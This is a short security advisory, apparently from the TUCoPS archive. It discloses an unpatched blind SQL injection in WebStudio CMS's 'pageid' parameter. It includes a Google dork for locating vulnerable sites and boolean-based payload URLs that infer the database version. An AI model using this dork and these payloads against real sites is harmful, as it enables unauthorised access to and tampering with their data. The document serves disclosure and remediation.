TUCoPS :: Web :: CMS / Portals :: va1912.htm

WebStudio CMS 'pageid' Blind SQL Injection
WebStudio CMS 'pageid' Blind SQL Injection
WebStudio CMS 'pageid' Blind SQL Injection



Application:  WebStudio CMS

Vendor Name: BDigital Media Ltd

Vendors Url: http://www.bdigital.biz 

Bug Type:     WebStudio CMS (pageid) Blind SQL Injection Vulnerability

Exploitation: Remote

Severity: Critical

Solution Status: Unpatched 

Introduction: WebStudio CMS is a modular Web Content Management System solution.

Google Dork:  "Powered by WebStudio"


Description:

WebStudio CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PoC:

http://localhost/index.php?pageid=1+and+1=1 ( TRUE ) 

http://localhost/index.php?pageid=1+and+1=2 ( FALSE ) 

Exploit:
 
http://localhost/index.php?pageid=1+and+substring(@@version,1,1)=3 ( TRUE ) 

http://localhost/index.php?pageid=1+and+substring(@@version,1,1)=4 ( FALSE ) 

http://localhost/index.php?pageid=1+and+substring(@@version,1,1)=5 ( FALSE ) 

Solution:

There was no vendor-supplied solution at the time of entry.

Edit source code manually to ensure user-supplied input is correctly sanitised.


Credits:

Charalambous Glafkos
Email:  glafkos (at) astalavista (dot) com
___________________________________________
ASTALAVISTA - the hacking & security community
www.astalavista.com 
www.astalavista.net 

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH